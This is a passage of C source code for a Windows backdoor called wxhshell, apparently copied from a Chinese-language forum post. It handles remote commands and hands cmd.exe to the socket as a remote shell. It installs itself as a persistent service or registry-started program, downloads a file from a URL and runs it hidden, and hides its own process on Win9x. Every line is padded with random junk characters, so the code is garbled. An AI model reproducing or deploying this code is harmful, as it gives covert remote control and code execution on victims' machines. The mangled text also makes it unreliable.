  // 帮助 [uq>b|`R G  
  case '?': { pMc6p0  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); fCl}eXg6w  
    break; hGRj  
  } P:qmg"i@3  
  // 安装 !*IMWm>  
  case 'i': { ~}/Dl#9R!  
    if(Install()) l^B.iB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I$Nh|eM  
    else o_b[*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c PGlT"  
    break; kmuksT\)a  
    } "cH RGJG#  
  // 卸载 30Yis_l2h  
  case 'r': { bdUPo+  
    if(Uninstall()) g8),$:Uw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )^h6'h`  
    else bQll;U^A  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?Cq7_rq  
    break; cw;wv+|k  
    } .b :!qUE^  
  // 显示 wxhshell 所在路径 $ |4C]Me (  
  case 'p': { 5/48w-fnZ  
    char svExeFile[MAX_PATH]; q>q:ZV  
    strcpy(svExeFile,"\n\r"); d1/emwH  
      strcat(svExeFile,ExeFile); 7*'/E#M  
        send(wsh,svExeFile,strlen(svExeFile),0); MfTLa)Rz  
    break; ]' mbHkn68  
    } \ /-c)  
  // 重启 'nJF:+30ZH  
  case 'b': { Ae)xFnuq3  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4 23zX6  
    if(Boot(REBOOT)) CU$kh z"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ijI/z5  
    else { k#*-<1  
    closesocket(wsh); z(PUoV:?  
    ExitThread(0); fSh5u/F!  
    } b^Hr zn  
    break; NOz3_k  
    } ? @V R%z  
  // 关机 fS]& ?$q  
  case 'd': { eh# 37*-  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); yIw}n67  
    if(Boot(SHUTDOWN)) @WJ;T= L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oL4W>b )  
    else { @|!4X(2  
    closesocket(wsh); ;rh.6Dl  
    ExitThread(0); A'qe2]  
    } ^-;S&=  
    break; E(qYCafC  
    } WSThhI  
  // 获取shell +,Dc0VC?  
  case 's': { x_PO;  
    CmdShell(wsh); q:{#kv8  
    closesocket(wsh); St=nf\P&F  
    ExitThread(0); ;%|im?  
    break; e r" w{  
  } c=\tf~}^Ms  
  // 退出 (5a73%>@  
  case 'x': { P{L=u74b{x  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 7GA8sK  
    CloseIt(wsh); 6*8Wtq  
    break; V>$( N/1  
    } "SF0b jG9C  
  // 离开 H$6RDMU  
  case 'q': { wNONh`b  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); S"Al [{  
    closesocket(wsh); vwR_2u  
    WSACleanup(); 5Iu5N0cn  
    exit(1); B6XO&I1c  
    break; tMr7d  
        } k(Yz2  
  } xh6(~'$  
  } |9@,ri\'Rg  
0SpB 2>_  
  // 提示信息 :\T Mm>%q  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >T$0*7wF  
} :\](m64z;  
  } I-v} DuM  
3F9V,zWtTi  
  return; ~W'DEpq_  
} P \7DA4]  
!}*N';  
// shell模块句柄 ,(jJOFf  
int CmdShell(SOCKET sock) \u=d`}E  
{ `At.$3B  
STARTUPINFO si; 0'q4=!l  
ZeroMemory(&si,sizeof(si)); $CcjuPsK  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :cpj{v;s  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; b#2)"V(  
PROCESS_INFORMATION ProcessInfo; uLms0r\@!  
char cmdline[]="cmd"; za l]t$z>  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); IrwQ~z3I  
  return 0; #-az]s|N  
} ^[ae )}  
{9IRW\kn  
// 自身启动模式 .X g.,kW  
int StartFromService(void) >OG189O  
{ z%&FLdXgW+  
typedef struct ~Ps*i]n(  
{ G T>'|~e  
  DWORD ExitStatus; <J%qzt}  
  DWORD PebBaseAddress; T/$ gnn  
  DWORD AffinityMask; o<g?*"TRh  
  DWORD BasePriority; /%$Zm^8c  
  ULONG UniqueProcessId; LUbhTc  
  ULONG InheritedFromUniqueProcessId; iUKjCq02  
}   PROCESS_BASIC_INFORMATION; 1nVQYqT_  
2g(_Kdj*{  
PROCNTQSIP NtQueryInformationProcess; qLR;:$]Q&8  
lH fZw})d  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; "+DA)K  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /4{WT?j  
.EYL  
  HANDLE             hProcess; SX3'|'-  
  PROCESS_BASIC_INFORMATION pbi; /E>;O47a  
f5}afPk  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;H$ Cq' I  
  if(NULL == hInst ) return 0; BD6!,  
H`[FC|RYyE  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); YSjc=  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {R$`YWk  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =dm9+ff  
=fSTncq  
  if (!NtQueryInformationProcess) return 0; H4i}gdR  
N$=YL @m8  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ]#~J[uk  
  if(!hProcess) return 0; UrniJB]  
:kZ]Swi 5  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; *h^->+0n  
'afW'w@  
  CloseHandle(hProcess); 2 BY|Cp4R  
b"g^Jm! j  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); MmJMx  
if(hProcess==NULL) return 0; 3Vu}D(PJ  
UMcM&yu-  
HMODULE hMod; 3s\UU2yr  
char procName[255]; s>9I#_4]  
unsigned long cbNeeded; Vjs2Yenx  
_JH.&8  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,>|tQ'  
q/U-WQ<+  
  CloseHandle(hProcess); 4S(G366  
6v@Prw@.b  
if(strstr(procName,"services")) return 1; // 以服务启动 R P{pEd  
+o+f\!  
  return 0; // 注册表启动 A;!5c;ftj,  
} [bLKjD  
vbJ<|#|r-  
// 主模块 mQj#\<*  
int StartWxhshell(LPSTR lpCmdLine) 0+&WIs  
{ DksYKv  
  SOCKET wsl; UG vIHm  
BOOL val=TRUE; R ENCk (  
  int port=0; oKGH|iVEe  
  struct sockaddr_in door; (o>N*?, }  
ft"-  
  if(wscfg.ws_autoins) Install(); @Y~gdK  
DLwlA !z  
port=atoi(lpCmdLine); piIZ*@'  
t/i*.>7  
if(port<=0) port=wscfg.ws_port; ?!ap @)9  
Ust +g4  
  WSADATA data; :GvC#2 p  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; XRaGV~  
s$y_(oU,D  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   '{`KYKLP+  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 4'faE="1)S  
  door.sin_family = AF_INET; Fd8nR9A  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 9G6)ja?W  
  door.sin_port = htons(port); 33` bKKO}  
e`Yj}i*bx]  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { h!B{7J  
closesocket(wsl); _0[z xOI  
return 1; 1^IMoC7$#  
} 8;M,l2pmR{  
Zl_sbIY  
  if(listen(wsl,2) == INVALID_SOCKET) { #jbC@A9Pe  
closesocket(wsl); fMwF|;  
return 1; _d!sSyk`  
} y9}qB:[bR  
  Wxhshell(wsl); WjBml'^RY  
  WSACleanup(); Q_ T,=y  
/}u:N:HA%  
return 0; THl:>s  
azZ|T{S  
} ImQ -kz?b  
<mX5VGY9^  
// 以NT服务方式启动 `&I6=,YLp  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !fs ~ >  
{ {F_>cyR  
DWORD   status = 0; *Y1s4FXu2  
  DWORD   specificError = 0xfffffff; fe\'N4  
Wz^;:6F  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ]:ca=&>  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; fq1w <e  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; L^u|= 9  
  serviceStatus.dwWin32ExitCode     = 0; zt2#K  
  serviceStatus.dwServiceSpecificExitCode = 0; H28-;>'`  
  serviceStatus.dwCheckPoint       = 0; M"mvPr9  
  serviceStatus.dwWaitHint       = 0;  WLWfe-  
lf\"6VIsR  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =$}`B{(H  
  if (hServiceStatusHandle==0) return; TaF*ZT2  
QVn2`hr  
status = GetLastError(); }?b\/l<  
  if (status!=NO_ERROR) U>Is mF>m  
{ lBn<\Y!^  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; !B[ Y?b:  
    serviceStatus.dwCheckPoint       = 0; e_Zs4\^ef  
    serviceStatus.dwWaitHint       = 0; C&F% j.<  
    serviceStatus.dwWin32ExitCode     = status; kFJ]F |^7  
    serviceStatus.dwServiceSpecificExitCode = specificError; 7<kr|-  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); w2$ L;q  
    return; 2C0j.Ib  
  } 2SC'Z>A  
p;[.&o J  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; H/f}t w  
  serviceStatus.dwCheckPoint       = 0; x8z6 <  
  serviceStatus.dwWaitHint       = 0; JAW7Y:XB  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Z$0mKw   
} HH*,Oe   
XffHF^l9F  
// 处理NT服务事件,比如:启动、停止 ;[zZI~wh  
VOID WINAPI NTServiceHandler(DWORD fdwControl) B8cg[;e81  
{ qPN  
switch(fdwControl) %to.'R  
{ 57 Vn-  
case SERVICE_CONTROL_STOP: 9U9ghWH8  
  serviceStatus.dwWin32ExitCode = 0; h1)+QLI  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +vFqHfmP  
  serviceStatus.dwCheckPoint   = 0; -vT$UP  
  serviceStatus.dwWaitHint     = 0; E=v4|/['N  
  { ABE EJQ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9~,!+#  
  } i(u zb<  
  return; a"+/fC`  
case SERVICE_CONTROL_PAUSE: CE183l\  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; yl<=_Q  
  break; 9<Zm}PE32  
case SERVICE_CONTROL_CONTINUE: VQ~eg wJL  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; I%?M9y.u6  
  break; Q1h v2*/U  
case SERVICE_CONTROL_INTERROGATE: N9c#N%cu  
  break; T~>&m~} +  
}; U:/_T>f%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); v@X[0J_8  
} Mc  
JjAO9j%  
// 标准应用程序主函数 }WQ:Rmi  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $~EY:  
{ .Gno K?  
Y5>'(A>  
// 获取操作系统版本 LQ$dT#z2A  
OsIsNt=GetOsVer(); B]D51R\}VE  
GetModuleFileName(NULL,ExeFile,MAX_PATH); >03JQe_#*L  
-r_Pp}s  
  // 从命令行安装 =c[mch%E  
  if(strpbrk(lpCmdLine,"iI")) Install(); d[(%5pw~zL  
-mZ{.\9  
  // 下载执行文件 Erl@] P4  
if(wscfg.ws_downexe) { or` "{wop  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) L'BzefU;04  
  WinExec(wscfg.ws_filenam,SW_HIDE); TI'~K}Te  
} Dx3Sf}G `  
R[lA@q:  
if(!OsIsNt) { @XF/hhGE_y  
// 如果时win9x,隐藏进程并且设置为注册表启动 6Hpj&Qm  
HideProc(); .Vq_O u  
StartWxhshell(lpCmdLine); $L"-JNS  
} =2wy;@f  
else x(zW<J5X"  
  if(StartFromService()) 3'Z+PPd!  
  // 以服务方式启动 U&tR1v'  
  StartServiceCtrlDispatcher(DispatchTable); /Hc0~D4|x  
else d #-<=6  
  // 普通方式启动 %ye4FwkRy  
  StartWxhshell(lpCmdLine); 2LN5}[12]  
k.0pPl  
return 0; !P)7t`X  
}
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只看该作者 1 发表于: 2006-10-10
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